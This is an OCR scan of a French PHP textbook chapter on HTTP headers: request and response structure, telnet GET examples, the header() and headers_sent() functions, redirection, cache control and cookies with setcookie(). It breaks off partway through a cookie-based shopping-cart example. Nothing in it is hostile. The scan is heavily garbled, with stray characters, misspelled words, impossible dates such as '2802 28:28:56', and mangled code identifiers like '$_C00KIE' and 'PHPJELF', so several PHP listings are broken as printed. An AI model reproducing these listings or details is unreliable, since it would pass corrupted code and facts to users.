J echo "Je saute directement au 2eme element:<br />"; 

cd $iterateur->seek(l) ; 

co echo $i terateur->current () . "<br />"; 

O 
C 

CO 

~ echo "Je reviens au premier:<br />"; 

-J $iterateur->rewind() ; 

n echo $i terateur->current () . "<br />"; 

?> 
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Principe general 



L 'utilisation explicite ou implicite des en-tetes va vous permettre de rediriger un client vers 
un autre site, et d'utiliser des cookies ou des variables de session afin de stocker 
(temporairement) des informations. Mais, avant d'aborder ces chapitres, il est important de 
bien comprendre le fonctionnement du dialogue client-serveur avec HTTP. 



Principe general 

Historique 

Le protocole HTTP (HyperText Transfer Protocol), mis en ceuvre lors de Techange 
d 'informations entre le client et le serveur, est une norme creee en 1990 par Tim 
Berners-Lee (qui est a present president du Consortium du World Wide Web appele 
plus communement W3C). Ce protocole est base sur un systeme de communication 
par requites Ireponses. 

Ainsi, le client se connecte sur le serveur, sur un port specifique (generalement le port 80), pour 
envoyer un message (que Ton appelle requete). Ce dernier doit respecter un schema precis regi 
par une norme : ce doit etre une methode (de type get, post, head, put, del ou trace) suivie 
d'une URI (adresse Internet). Au besoin, le client complete la requete a l'aide d'un message de 
type MIME (Multipurpose Internet Mail Extension). II indique ainsi les informations 
particulieres dont il a besoin, decline son identite (signature du client) et indique la version du 
protocole utilise. 

Le serveur, quant a lui, renvoie ensuite une reponse comprenant un en-tete HTTP comportant 
diverses informations sur le serveur et sur comment le client doit analyser le resultat, suivi du 
corps du document. 





Client 


Envoi de la 
requete HTTP 


Serveur 






En-tete HTTP + 
document demande 



Figure 4.1 : On peut schematiser une requete HTTP comme ceci 



Le client envoie done un en-tete HTTP comprenant dans l'ordre : 

Une ligne de requete : elle comprend le type de document demande ainsi que la methode 
et la version du protocole qu'il lui est demande d'utiliser. Cette ligne peut etre schematised 
comme ceci : <methode> <url> <version>. 



4.1. 

REMARQUE 
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Tableau 4.1 : 


Les differentes methodes pouvant etre utilisees 






Methode 


Signification 


Version 




POST 


La methode post est utilisee pour une soumission de 
donnees vers une URI cible. 


HTTP/1 . 


. 


GET 


La methode get est utilisee pour recuperer un contenu 
identifies par I'URI specifiee. 


HTTP/1 . 


. 


HEAD 


La methode head est identique a la methode get sauf 
qu'elle ne reclame que I'en-tete du document specifies. Le 
document lui-meme n'est ainsi pas renvoye. 


HTTP/1 . 


. 


PUT 


Permet le depot d'un fichier donne directement sur le serveur 
distant. 


HTTP/1 . 


.1 


DELETE 


Commande demandant au serveur distant de detruire un 
document indique a I'URI specifiee. 


HTTP/1 . 


.1 


TRACE 


La methode trace permet au client de voir ce qui est regu 
par le serveur. Son utilisation est utile dans les phases de test 
ou de diagnostic. 


HTTP/1 . 


.1 


CONNECT 


Cette methode est reservee pour une utilisation par un proxy 
pouvant dynamiquement etre bascule vers un tunnel (ex. : un 
tunnel SSL). 


HTTP/1 . 


.1 



Les en-tetes de la requete (autant de lignes que necessaire) : ces lignes facultatives (hormis 
l'information Host dans le cas du protocole http/i.i) permettent de donner des 
informations complementaires a la requete, comme l'origine du client et l'identification 
(ou signature) de ce client (nom du navigateur, systeme d'exploitation, etc.). Ces 
informations (une par ligne) sont donnees comme un identifiant suivi immediatement de 
deux points V, une espace et de sa valeur : <identifiant>: <valeur>. 



Tableau 4.2 : Exemple d'en-tetes pouvant etre utilises 



Identifiant (en-tete) 


Signification 


Accept 


Type de contenu que le navigateur est susceptible d'accepter (ex. : 

text/html, audio/x-aif f , image/ jpeg, etc.). 


Accept-Charset 


Le type de caractere que le navigateur attend en reponse (ex : ISO-8859-1). 


Date 


Date et heure du client (ex. : Sat, 27 Apr 2002 15:59:53 GMT) 


From 


Specifie une adresse e-mail pour le client. 


Host 


Nom de la machine cliente. 


Ref erer 


Adresse de la page depuis laquelle la requete a ete effectuee. 


User-Agent 


Chalne d'identification du client (ex. : Moziiia/5 . ooi [windows; 

U; NT4.0; en-us] Gecko/2 52 50101 pour un navigateur 

Mozilla sur un systeme Windows NT4.0). 
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Vous pouvez vous reporter a V annexe "En-tetes et variables externes" pour une liste 
plus complete d' en-tetes. 



RENVOI 



Le corps de la requete : ces lignes sont utilisees dans le cas d'une methode de type post 
pour l'envoi de donnees (comme les parametres d'un formulaire). 

Comme aucune explication ne vaut un bon exemple, ouvrez un client telnet en ligne de 
commande, 

telnet www.linux.org 80 

et tapez la commande suivante : 

GET / HTTP/1.0 



Pour valider votre requete, finissez en tapant deux fois sur la touche | Entree] . 



REMARQUE 



Le client telnet de Windows 

Notez que le client telnet de Windows ne permet pas de visualiser ce que vous rentrez 
depuis le clavier. Alors, ne vous trompez pas dans la commande, et respectez bien les 
majuscules et minuscules. 



CD 

CO 



CD 

CO 



Figure 4.2 : 

Void une page telle 
qu'elle est envoyee par 
un serveur web 



I . ' r : m : ' i : 1 i :■ I- » : 1 >.■: » ■ " ■ . n. i>: :-. i : 

Trying 198 . 182 .196.56. . . 
Connected to www.linuK.org. 

Escape character i.s '""]'. 
GET / HTTP/1 . D 

HTTP/1 . 1 200 OK 

Date: Hon, 01 Jul 2802 28:28:56 GMT 

Server: Apache/1 . 3 . 26 (Unix) (Red-Hat/Linux) irLod_ssl/2 . 8 . 18 OpenSSL/8 . 9 . Sb mod_ 
- ■ .- - ' I ,-.-«_--■. i 

Expires: Men, 01 Jul 2002 20:29:56 GMT 
Pragma : no-cache 
: ■ i-: 

Content— Type : text/html 

<!DOCTYPE HTML PUBLIC "-//U3C//DTD HTML 3 . 2//EN" > 
< HTML > 
< HEAD > 

< TITLE >The Linux Home Page at Linux Online</TITLE> 

<METik naine= "description" content = "Comprehensive inf orniation and resources about 
<META naine= "keywords" Gdntent="Linux, LinuK Online, Torvalds, Linus, operating s 
pert , help . inf □rniation, resources . drivers, manual , document at ion pro j ect . FAQ . 
ge , Linux Home Page . Linus Torwalds . Kedhat , Slackware . Vggdrasi 1 . Debi an . Linux 
cation, usergroup, user group, mailing list, kernel " > 
</HEikD> 

< ! — header — > 



Vous voyez apparaitre la reponse du serveur (ici, le code source de la page). Ce qui nous 
interesse dans le cas present, ce sont les premieres lignes de ce document, a savoir l'en-tete de 
la page. Si vous voulez ne voir que cet en-tete, rentrez la commande head / http/i . o. Ainsi 
seul l'entete renvoye par le serveur s'affichera dans le client telnet. 

HTTP/1.1 200 OK 

Date: Sat, 27 Apr 2002 15:59:53 GMT 

Server: Apache/1.3.24 (Unix) (Red-Hat/Linux) mod_ssl/2.8.8 0penSSL/0.9.6b 

x mod_perl/1.26 

Cache-Control : max-age=60 

Expires: Sat, 27 Apr 2002 16:00:53 GMT 
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Pragma: no-cache 
Connection: close 
Content-Type: text/html 

<HTML> 



Vous remarquez qu'il y a une ligne vide entre l'en-tete et le corps du document. C'est ce saut de 
ligne qui signale la fin de l'en-tete HTTP et indique que ce qui suit est le corps du document. 
Ainsi, une fois envoye, l'en-tete ne peut plus etre modifie. Vous verrez dans ce chapitre que le 
langage PHP permet des modifications de l'en-tete, mais cause une erreur si vous essayez de le 
modifier apres Tenvoi du debut du document. 

Vous pouvez executer a present, toujours a l'aide de votre client telnet, la commande suivante : 

telnet www.linux.org 80 
GET / HTTP/1.1 
host:www. linux.org 

Comme indique precedemment, le protocole http/1.1 reclame une information 
supplemental host. En effet, cette derniere mouture de HTTP a permis l'adoption des notes 
virtuels, c'est-a-dire que plusieurs noms de domaines peuvent se partager une meme adresse IP. 
D'autres avantages du protocole 1.1 sur le 1.0 sont repertories dans la RFC2616. 

Les RFC 

Pour toutes les informations complementaires sur les protocoles http/1 . et http/ 
l , l, consultez les RFC (Request For Comment). Ces documents ont la particularite 
de representer une notice pour une documentation generale, un standard ou la 
description d'un protocole. II est a noter que I'ecriture meme d'une RFC est definie 
dans une autre RFC (la RFC 1543). 

Pour HTTP/1.0, la RFC1945 est disponible a I'adresse http://abcdrfc.free.fr/rfc-vf/ 
rfc1945.html (traduction frangaise). 

Pour HTTP/1.1, la RFC2616 est disponible (en anglais) a I'adresse 
http://www.w3.org/Protocols/rfc2616/rfc2B1B.html. 

Ces documentations tres completes vous apprendront tout ce qu'il faut savoir pour 
effectuer un echange de donnees entre un navigateur Internet et un serveur web. 

Voyons a present ce que signifie cette reponse (i.e. comment le navigateur interprete ce 
message). 

La premiere ligne indique le code de retour. Ici le code 200 signifie que tout s'est bien 
passe. Tous les internautes connaissent au moins un autre code : le tristement celebre 404, 
qui comme vous le savez, signifie que le serveur n'a pas trouve la page demandee. 



INTERNET 



Principe general 



Tableau 4.3 : Les differentes categories de code que peut renvoyer un serveur web et leurs 
significations 


Intervalle de code 


Signification 


100-199 


Les informations sont retournees. 


200 - 299 


La requete a ete traitee avec succes. 


300 - 399 


Demande de redirection. 


400 - 499 


La requete est incomplete. 



500 - 599 Indique une erreur du serveur HTTP. 




Vous pouvez vous reporter a Vannexe sur les "Codes d'erreur HTTP" pour une liste 
plus detaillee. 



Puis vient une serie de valeurs precedees par un nom de parametre. Avant de poursuivre, voici 
quelques parametres d'en-tete possibles. Cette liste est non exhaustive, mais comprend les 
parametres les plus courants qu'un serveur peut renvoyer. 



Tableau 4.4 : Quelques-uns des messages que peut renvoyer un serveur dans son en-tete 



Identifiant d'en-tete 


Description 


Content- 


-Encoding 


C'est le type de codage du document renvoye (ex. : compress, 

x-gzip, x-zip, etc.). 


Content- 


-Language 


C'est le langage utilise dans le corps de la reponse ("fr" pourfrangais, 
"en" pour anglais, "it" pour italien, etc.). 


Content- 


-Length 


C'est la longueur de la reponse. Cette valeur est donnee en octets. Cette 
donnee permet au client d'etre certain qu'il a bien regu la totalite du 
document. 


Content- 


-Type 


C'est le type MIME du document (ex. : text/html, image/gif , 
application/postscript, text/plain, audio/basic, 
video /mpeg, etc.). 


Date 




Date du serveur au debut du transfert des donnees. 


Expires 




Date limite de validite du document (particulierement utile dans le cas de 
('utilisation d'un cache). 


Location 


Demande la redirection vers une nouvelle URL. 


Server 




Nom ou signature du serveur qui renvoie les informations. 




Vous pouvez vous reporter a Vannexe "En-tetes et variables externes" pour un liste plus 
complete d' en-tetes. 



RENVOI 



Chapitre 4 Les en-tetes HTTP 



Nous pouvons maintenant revenir a notre exemple et analyser sa reponse. Cet en-tete nous 
apprend done plusieurs choses : 

La deuxieme ligne de notre exemple indique simplement la date et l'heure du serveur web. 

La ligne suivante est la signature du serveur web. Dans notre exemple, le serveur 
hebergeant le site de Linux.org nous signale qu'il tourne sous le systeme d'exploitation Linux 
(est-ce etonnant ?) avec le serveur Apache et que celui-ci est compile avec les modules SSL 
et Perl. 

La ligne cache-control n'est valide que pour la version 1.1 du protocole HTTP. Cette 
ligne indique comment un client, et en particulier un proxy cache, doit traiter cette page (si 
le proxy doit mettre en cache la page, la relire a chaque fois, et combien de temps le cache 
de la page est valide. Ici, la page peut etre archivee pendant 60 secondes au plus.) 

Pour les navigateurs utilisant le protocole HTTP/1.0, le serveur renvoie deux lignes a la 
suite qui permettent de definir la gestion du cache et la duree de celle-ci. 

Enfin, la ligne Content-Type indique a votre client web le type MIME de ce qui lui est 
envoye. Cela peut etre du texte, de l'HTML, une image, un fichier son, etc. 

Vous pouvez consulter ['annexe sur "Les types MIME" pour une liste plus complete 

des types. 
RENVOI 

4.2. Gestion personnalisee de l'en-tete HTTP 

D'une maniere generale, avec PHP, il est possible de preciser la valeur des parametres specifies 
dans l'en-tete, grace a la fonction header ( ) . 



header () 

Specifie un element de T en-tete de la reponse HTTP. 

Syntaxe void header (stri ng $ligneEntete [, boolean $remplace [, int 

$reponseHTTP]]) 

$1 i gneEntete Information a ajouter a l'en-tete. 

$remplace TRUE si cette ligne doit remplacer la valeur donnee precedemment au 

meme parametre d'en-tete, FALSE (par defaut) si elle doit etre ajoutee. 

$reponseHTTP Permet de forcer la reponse HTTP (par exemple 404 pour simuler une 

page manquante). Cette option est apparue avec la version 4.3.0 de PHP. 

Headers already sent... 

Comme cela a dejd ete evoque, des que des informations (corps du document) sont 
envoyees au navigateur, l'en-tete est envoye au prealable. Par consequent, il n 'est plus 
question, a ce moment-Id, de demander des modifications de cet en-tete. 




A 

ATTENTION 



Gestion personnalisee de l'en-tete HTTP 



AConcretement, vous ne devez absolument pas "afficher" le moindre message avant un 
appel a header ( ) . Done : pas de echo ( ), print ( ), etc., pas de message d'erreur et 
ATTENTION aucun code HTML ou texte quelconque, en dehors des balises < ?php ... ?>. 

Faites egalement attention a ne pas laisser trainer d'espaces ou de ligries blanches 
avant ou apres les balises <?php ... ?> des fichiers inclus avant V appel a 
header ( ). 

Si besoin, vous disposez d'une fonction permettant de determiner si l'en-tete a deja ete envoye 
au client. 



headers_sent() 

Teste si l'en-tete HTTP a deja ete envoye au client. 

Syntaxe boolean headers_sent ( [stri ng &$fichier [, int &$ligne]]) 

$f i chi er Si cette option est passee et qu'il a deja ete ecrit sur la sortie, alors Sfichier 

contiendra le nom du fichier dans lequel l'ecriture a commencee (option 
disponible depuis PHP 4.3.0). 

$1 i gne Si cette option est passee et qu'il a deja ete ecrit sur la sortie, alors Sligne 

contiendra le numero de la ligne dans lequel l'ecriture a commencee 
(option disponible depuis PHP 4.3.0). 

retour TRUE si l'en-tete a deja ete emis, FALSE sinon. 

Voici un court exemple de cette fonction : 
<?php 

// rien ne va sur la sortie 

for ($i=0; $i<10; $i++) { 

// ici encore, rien n'est "ecrit" 

} 

$fichier="none"; 
$ligne=0; 

echo "Par contre la 1'entete est envoye a cause de echo()\n"; 

if (headers_sent(&$fichier, &$1 igne)==true) 

echo "L'entete a ete envoye par $fichier a la ligne $ligne\n"; 
el se 

echo "L'entete n'a pas ete envoye\n"; 

?> 

Dont le resultat serait le suivant : 

Par contre la l'entete est envoye a cause de echo() 

L'entete a ete envoye par c:\program files\apache 

x group\apache\htdocs\tests\headers_sent.php a la ligne 9 



Les exemples d'applications sont nombreux ; nous en detaillerons trois dans ce chapitre. 
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Redirection 

II n'est pas rare d'avoir a rediriger le visiteur vers telle ou telle page en fonction de certains 
parametres. Par exemple, si le visiteur est un homme, il peut etre interessant de l'envoyer vers 
le rayon homme d'un magasin de vetements. 

L'utilisation des en-tetes permet, entre autres, ce type de manipulation. Pour cela, il suffit 
d'utiliser l'en-tete Location avec, pour parametre, l'adresse vers laquelle rediriger le 
navigateur. 

Voici la syntaxe de la reorientation vers http://www.php.net: 
header ("Locati on : http:/ /www. php.net") ; 

La version 1.1 du protocole HTTP necessite, comme parametre, un chemin absolu. Si vous 
souhaitez faire une redirection au sein meme de votre serveur vers un chemin relatif a la 
position du script appele et etre conforme a cette norme, voici un moyen de transformer une 
adresse relative en chemin absolu a l'aide du langage PHP. 

header ( " Locati on : http ://" . $_SERVER [ 1 SERVERJAME 1 ] 
. "/" .di rname($_SERVER[ 1 PHPJELF'] ) 
. "/" -$chemi n_rel at i f) ; 

PHP se charge non seulement d'envoyer l'en-tete au navigateur, mais il lui retourne egalement 
le code 302 correspondant a redirect. 

II est egalement possible de retourner directement un code au navigateur. Si vous voulez 
renvoyer le code 404 correspondant au code d'erreur d'un fichier inexistant, il suffit d'ecrire : 

header("HTTP/1.0 404 Not Found"); 

Voici un exemple de script redirigeant le navigateur du client en fonction du sexe de la 
personne ; on imagine que la variable $sexe a ete indiquee precedemment. 

<?php 

if ($sexe == "homme") { 

header("Location: rayon_homme.html ") ; 
} else { 

header("Location: rayon_femme.html ") ; 

} 

?> 



Declaration du type MIME 

PHP est principalement utilise pour generer du code HTML mais, comme nous le verrons par 
la suite, il permet egalement de generer toutes sortes de documents et notamment des images. 

Or, par defaut, la configuration de PHP veut que le serveur declare que le document emis est 
un document de type text/html. Dans tous les cas ou le document emis n'est pas une page 
HTML, il convient done d'en preciser le type, comme dans l'exemple suivant (s'il s'agit d'une 
image gif) : 

header("Content-type: image/gi f ") ; 



Vous pouvez vous reporter a V annexe sur "Les types MIME" pour avoir une liste plus 

complete des valeurs possibles. 
RENVOI 

Gestion des caches (des navigateurs) 

Generalement, les navigateurs (et eventuellement les systemes intermediaries comme les 
proxys) utilisent des caches pour stocker localement des documents (HTML, images, etc..) 
recuperes afin de ne pas avoir a les redemander aux serveurs lorsque ceux-ci sont rappeles (ex. : 
un logo que Ton trouve sur toutes les pages). 

Si cela accelere grandement l'affichage des pages d'un site, il arrive qu'en certaines 
circonstances cela devienne un probleme. 

Le cas de figure le plus flagrant est certainement celui ou le document est conserve une semaine 
dans le cache du navigateur, alors que vous mettez a jour la page quotidiennement. En fait, les 
navigateurs sont generalement configures pour verifier une fois par jour si le document 
demande differe de celui du cache. De ce fait, quelle que soit votre facon de proceder en tant 
que concepteur de sites web, vous etes relativement a l'abri d'une plainte de ce cote-la. Le 
probleme est plus "grave" si certains de vos scripts retournent un resultat different en fonction 
de variables de sessions ou de donnees externes (base de donnees) qui varient d'un instant a 
l'autre, car l'appel au script, lui, ne varie pas (pas de parametre get different d'un appel a 
l'autre et pas de parametre post). Le nom et les parametres du script ne variant pas, le 
navigateur ira systematiquement prendre la version disponible dans le cache au lieu d'aller 
chercher sa nouvelle variante. 

Dans ce cas, il est done preferable de demander au navigateur (et autres proxys) de ne pas 
garder de version du document dans son cache, grace aux appels suivants : 

header("Cache-Control : no-cache") ; 
header ("Pragma: no-cache"); 



4.3. Cookies 

Les cookies ont ete introduits par la societe Netscape dans le but de stocker des informations 
sur la machine cliente, ce qui permet de personnaliser un site en fonction de l'identite et des 
preferences du visiteur. 

Ces cookies contiennent les informations que le client a bien voulu communiquer (en ayant, par 
exemple, repondu a un questionnaire sur ses gouts). Votre site peut alors tres bien se servir de 
ces informations pour faciliter le parcours du visiteur. Un site de vetements peut, par exemple, 
demander le sexe du client et le style de vetements qu'il recherche pour ensuite le rediriger 
directement (et ce a chaque nouvelle connexion) vers le rayon sport homme si cela correspond 
au profil enregistre dans le cookie. 

Plus d'informations sur les cookies 

Les cookies sont definis dans la RFC 2109 disponible en anglais a I'adresse suivante : 
http://www.faqs.org/rfcs/rfc2109.html ou encore 
http://www.netscape.com/newsref/std/cookie_spec.html. 
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Generalites 
Utilisation 

Les cookies doivent etre utilises pour des informations de faible importance (pour compter, par 
exemple, le nombre de visites d'un client). Un bon site doit pouvoir se passer des cookies pour 
fonctionner : on peut les utiliser, mais cela ne doit pas mettre en peril le fonctionnement du site 
si l'utilisateur les refuse. 

En effet, il faut avoir a l'esprit que les informations sont stockees cote client, d'ou l'absence de 
garantie de perennite des informations. 

Chaque navigateur a son propre systeme de gestion des cookies : deux navigateurs sur la 
meme machine impliquent deux systemes de gestion des cookies (information en double et 
problemes de mise a jour...). 

Du fait que l'utilisateur peut lui-meme changer la valeur des cookies, le programmeur n'a 
aucune garantie de "last value" (c'est-a-dire que Ton ne peut pas etre certain de recuperer 
la valeur qui a ete stockee precedemment). 

Enfin, la fonction de gestion des cookies peut etre activee ou desactivee au niveau du 
navigateur ou simplement refusee par le visiteur. 

Fonctionnement 

Les instructions permettant la gestion des cookies sont placees dans les en-tetes HTTP. Lors de 
1'ecriture d'un cookie, le serveur envoie la requete HTTP et le navigateur se charge d'ecrire ou 
de modifier le cookie. 

Stockage 

Les cookies sont stockes de facon differente sur les divers navigateurs. Pour n'evoquer que des 
deux principaux navigateurs, Internet Explorer utilise un fichier recensant tous les cookies et un 
fichier par cookie, tandis que Netscape utilise un seul fichier pour tous les cookies. 

Creation 

Pour que le serveur demande la creation d'un cookie sur le poste client, l'en-tete de la reponse 
HTTP doit contenir une ligne avec la syntaxe suivante : 

Set-Cookie : <N0M_C00KIE>=<valeur>; domain=<nom_de_domaine>; expi res=<DATE> 

II existe d'autres attributs disponibles pour definir un cookie ; ils sont presentes dans le tableau 
suivant : 



Cookies 



Tableau 4.5 : Attributs def inissant un cookie 



Attribut 



Valeur 



NOM_COOKIE VALEUR_COOKIE 



Expires 



DATE 



Type 

A moins de passer par 
I'encodage URL, le nom et 
la valeur d'un cookie ne 
peuvent pas contenir les 
caracteres point-virgule ',- ', 
virgule ', ', et espace ' '. 

Date au format : 

Jour_en_anglais , 
JJ-Moi-AA 
HH:MM:SS GMT 

Par exemple : 

Saturday, 
03 -Aug- 02 
09:14:23 GMT 

est une date valide. 



Description 

N0M_C00KIE est le seul 
attribut obligatoire. 



Expires permet de 
definir une date de validite. 
Une fois cette date passee, 
la valeur du cookie ne doit 
plus etre prise en compte 
et le cookie peut etre efface 
par le navigateur. 



Domain 



Nom de domaine 



Path 



Chemin 



Adresse Internet contenant 
deux fois le caractere point 
(•)■ 

Xxx . XXXXXXX . XXX 

Par exemple : 
www.toutestfacile.com est 
une adresse valide ; 
php.toutestfacile.com egale- 
ment. 

/chemin/ 

Par exemple : 
/php/ est valide. 



Si le nom de domaine est 
laisse vide (c'est 
generalement le cas), le 
nom du serveur appelant est 
assigne par defaut. II n'est 
possible de specifier que 
son propre nom de domaine 
ou de sous-domaine. 

Cet attribut permet de 
definir un sous-repertoire 
oil le cookie est valide, afin 
de reduire son champ 
d'action. En effet, en 
specifiant I'attribut path, 
le cookie ne sera 
accessible que dans le 
sous-repertoire defini. 



Secure 



Aucun 



Cet attribut permet de 
specifier que le cookie ne 
pourra etre envoye que si la 
connexion est securisee 
par SSL ou S-http. 



A Les limites des cookies 
■ Un cookie ne pourra exceder 4 Ko. 
ATTENTION jj n c n en t ne pourra gerer plus de 300 cookies. 

Un serveur ne pourra creer plus de 20 cookies sur un client. 



Chapitre 4 Les en-tetes HTTP 



Acces 

Quand un client se connecte sur un site pour lequel il possede deja des cookies, ceux-ci sont 
directement envoyes dans l'en-tete de la requete HTTP. Ce dernier contient alors une ligne 
ayant l'aspect suivant : 

Cookie : <N0Ml>=<val eurl> ; <N0M2>=<val eur2> ; ... 

Le moyen de recuperer cette information dependra alors du script utilise (CGI, ASP, PHP, 
etc.). 



J\ Disponibilite 

Un cookie n'etant disponible que lorsque le client le communique au serveur, un 
ATTENTION cookie defini dans un script ne sera disponible que des scripts charges par la suite (et 
non pas dans la page courante). 



En PHP 

Pour envoyer un cookie, il suffit d'utiliser la fonction setcookie ( ) . 



setCookie() 



Definit un cookie qui sera ajoute aux autres elements de Ten-tete HTTP. 

Syntaxe boolean setCookie (string $nomCookie [, string $valeurCookie [, 

int $dateExpiration [, string $chemin [, string $domaine [, 
boolean $securite]]]]]) 

$nomCookie Nomdu cookie. 

$val eurCookie Valeur du cookie. 

$dateExpi rati on Date d'expiration du cookie (vous pouvez indiquer NULL si vous ne 
souhaitez pas specifier ce parametre). II doit s'agir d'un 'timestamp' UNIX 
tel que peuvent retourner les fonctions time ( ) ou mktime ( ) . 

$chemi n Repertoire de validite du cookie dans le site (vous pouvez indiquer NULL 

si vous ne souhaitez pas specifier ce parametre). 

$domaine Domaine de validite du cookie (vous pouvez indiquer NULL si vous ne 

souhaitez pas specifier ce parametre). 

$securite TRUE si vous souhaitez que ce cookie ne soit communique que lors de 

Tutilisation de connexions securisees (SSL ou S-HTTP), FALSE (valeur 
par defaut) sinon. 

retour TRUE en cas de succes, FALSE sinon. 



Seul l'attribut $nomCookie est obligatoire. Si c'est le seul attribut defini, alors le cookie 
correspondant sera detruit sur la machine cliente. 



Cookies 



REMARQUE 



setCookie(), header (), meme combat 

Utiliser setCookie ( ) revient a specifier des donnees de Ven-tete. La remarque que 
Von a vue pour la fonction header ( ) s 'applique done la aussi : aucun element du 
document ne doit avoir ete emis avant Vappel a setCookie ( ). 




Erreur frequente 

Les cookies doivent etre effaces avec les mimes parametres que lors de leur creation. 



ATTENTION 



Ordre d'appel 

~ En PHP 4 les appels a setCookie ( ) se font dans I'ordre naturel, de haut en bas, 
REMARQUE alors qu'en PHP 3 les appels sefaisaient dans I'ordre inverse. Ainsi, pour effacer un ^ 
cookie avant de declarer une nouvelle valeur, il faut mettre Vinsertion avant ^_ 
I'effacement en PHP 3 etfaire le contraire en PHP 4. S> 

CD 

Voici quelques exemples de creation de cookies : 2; 

eo 

II exemple simple sans date de validite ^ 
setcookie("test" , "ceci est un test"); ^ 
// exemple d'un cookie valide pour une heure 
setcookie("test" , "ceci est un test", time()+3600) ; 
// exemple d'un cookie valide uniquement 

// dans les pages securisees de http://www.toutestfacile.com/php 
setcookie("test" , "ceci est un test", NULL, 

"/php/", ".toutestfacile.com", TRUE); 



Une fois le cookie defini, son contenu est disponible lors de l'appel des scripts suivants, 
directement dans $_cookie [ "nomDuCookie" ] (ou dans $http_cookie_vars 
[ "nomDuCookie" ] pour les versions de PHP<4.1.0). 



Du passe faisons table rase 




Dans les versions de PHP anterieures a 4.2.0, la configuration par defaut fixait le 
parametre register _globals du fichier php.ini a on (active). Pour des raisons de 



ATTENTION securite (evoquees dans le chapitre traitant des variables externes) cela n'est plus le 
cas. 

Avec I'option register _globals activee, le contenu du cookie etait directement 
disponible dans une variable portant le nom du cookie ( $ nomDuCookie). 




Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur le 
fichier php.ini. 
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Un tour de magie a connaitre 

Pardefaut, lefichierde configuration php.ini active I'option magic_quote_gpc, etceci 
pour les parametres GET, POST et les cookies. Ceci a pour effet d'automatiquement 
"echapper" les apostrophes. Autrement dit, cela ajoute un anti-slash devant les 
apostrophes des parametres passes par les methodes GET, POST et les cookies. 
Si c'est tres pratique pour stocker le parametre en base de donnees, cela peut devenir 
genant pour un affichage dans le document. Si vous souhaitez supprimer ces 
anti-slashes, il vous suffit d'appliquer la fonction stripSlashes ( ) sur ces valeurs. 

II est possible de stocker directement plusieurs valeurs d'un tableau. Un cookie sera cree par 
entree dans le tableau. Au moment de recuperer ces valeurs, il suffira d'y acceder comme pour 
n'importe quel autre tableau. 

Par exemple, pour stocker ce tableau contenant trois valeurs : 

setcookie ("tabl eau [un] " , "valeurl"); 
setcookie ("tabl eau [deux] " , "valeur2"); 
setcookie ("tabl eau [troi s] " , "valeur3"); 

Pour afficher ces valeurs, il suffit d'ecrire : 

while (list ($cle, $valeur) = each ($_C00KIE["tableau"])) { 
echo "$cle: $val eur<br>\n" ; 

} 



Exemple utilisant des cookies 
Mise en situation 

L'exemple est celui d'un magasin d'instruments de musique voulant offrir la possibility a ses 
clients de mettre des articles dans un panier virtuel (les utilisateurs refusant les cookies ne 
pourront pas utiliser ce panier). 

Les fonctionnalites de ce panier virtuel seront simples. II faudra etre en mesure d'ajouter des 
articles un a un, de vider le panier et de calculer le montant total des articles contenus dans le 
panier. Pour simplifier, on considerera que ce vendeur ne propose que trois articles : une 
guitare, une basse et une batterie (ce qui est suffisant pour monter un groupe). 

Les informations liees au panier seront stockees dans des cookies sous la forme d'un tableau. 

Agencement des fichiers 

Pour cet exemple, nous utiliserons quatre fichiers : 

■ Une page d'accueil 'accueil . html'. 

Une page d'initialisation 'initialisation. php' qui sera en charge d'initialiser les 
cookies permettant la gestion du panier. 

Une page pour ajouter un article 'a j out_article . php', cette page sera la page principale 
pour l'interface, et c'est la que l'utilisateur ajoutera des articles, videra son panier ou 
calculera le montant de celui-ci. 



REMARQUE 



Cookies 



Une page pour calculer le montant total du panier 'calcul_total.php'. Ce fichier 
calculera la somme des montants des articles presents virtuellement dans le panier. 
L'utilisateur aura alors le choix d'ajouter d'autres articles ou de vider son panier. 



Voici un graphe representant les interactions entre les differents scripts. 

caicuijotai.php | Figure 4.3 ! 

Les differents appels 




accueil.htm propose un lien vers initialisation.php. 

initialisation.php redirige vers ajout_article.php apres avoir initialise les donnees. 
ajout jirticle.php propose un lien vers initialisation.php pour reinitialiser les donnees. 
A chaque ajout d'article, ajoutjirticle s'appelle lui-meme pour se mettre a jour. 
ajout jirticle propose un lien vers caicuijotai.php. 

Et caicuijotai.php propose des liens vers initialisation.php (pour repartir de zero) et 
ajout jirticle.php (pour completer le panier). 



Contenu des fichiers 
accueil.html 

Listing 4.1 : accueil.html 

<html> 
<head> 

<title>Mon magasin de musique</title> 
</head> 

<body bgcol or="#FFFFFF"> 
<p al ign="center"xb>Bienvenu chez MusicAGogo! ! !</bx/p> 
<p al ign="center">Votre panier est vide</p> 
<p al ign="center"> 

<a href="initialisation.php">cliquer ici pour le remplir </a> 
</p> 
</body> 
</html> 
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Le script d'accueil est une simple page au format HTML, avec un lien vers le script 
d'initialisation des cookies. 

initialisation.php 
Listing 4.2 : initialisation.php 

<?php 

setCookie("panier[guitare] ", 0) ; 
setCookie("panier[basse] " , 0) ; 
setCookie("panier[batterie] " , 0) ; 
header("Location: ajout_article.php") ; 

?> 

Le script d'initialisation met a zero le tableau qui representera notre panier. Une fois les trois 
valeurs du tableau initialisers, le navigateur du client est redirige vers la page de l'interface 
principale. 

Comme nous 1'avons dit precedemment, la gestion des cookies est appelee avant toute autre 
fonction d'en-tete. 

a) out_article.php 

Listing 4.3 : ajoutarticle.php 

<?php 

$panier=$_C00KIE["panier"] ; 
switch (@$_GET["ajout"]) { 
case "guitare": 

$panier["guitare"]++; 

setCookie("panier[guitare] " , $panier["guitare"] ) ; 
break; 
case "basse": 

$panier["basse"]++; 

setCookie("panier[basse] " , $panier["basse"] ) ; 
break; 
case "batterie": 

$panier ["batteri e"]++; 

setCookie("panier [batterie] " , $pan ier[" batteri e"] ) ; 
break; 

} 

?> 

<html> 
<head> 

<title>Mon magasin de musique</title> 
</head> 

<body bgcolor="#FFFFFF"> 
<table border="4" eel 1 spaci ng="4" eel 1 paddi ng="4" al ign="center"> 
<tr al ign="center"> 
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<td>Ajouter</td> 
<td>Votre commande</td> 
</tr> 

<tr al ign="center"> 
<td> 

<a href="ajout_article.php?ajout=guitare">Une guitare</a> (199E) 
</td> 

<tdx?php echo $panier["guitare"] ?> guitare(s)</td> 
</tr> 

<tr al ign="center"> 
<td> 

<a href="ajout_article.php?ajout=basse">Une basse</a> (199E) 
</td> 

<tdx?php echo $panier["basse"] ?> basse(s)</td> 
</tr> 

<tr al ign="center"> 
<td> 

<a href="ajout_article.php?ajout=batterie">Une batterie</a> (2499E) 
</td> 

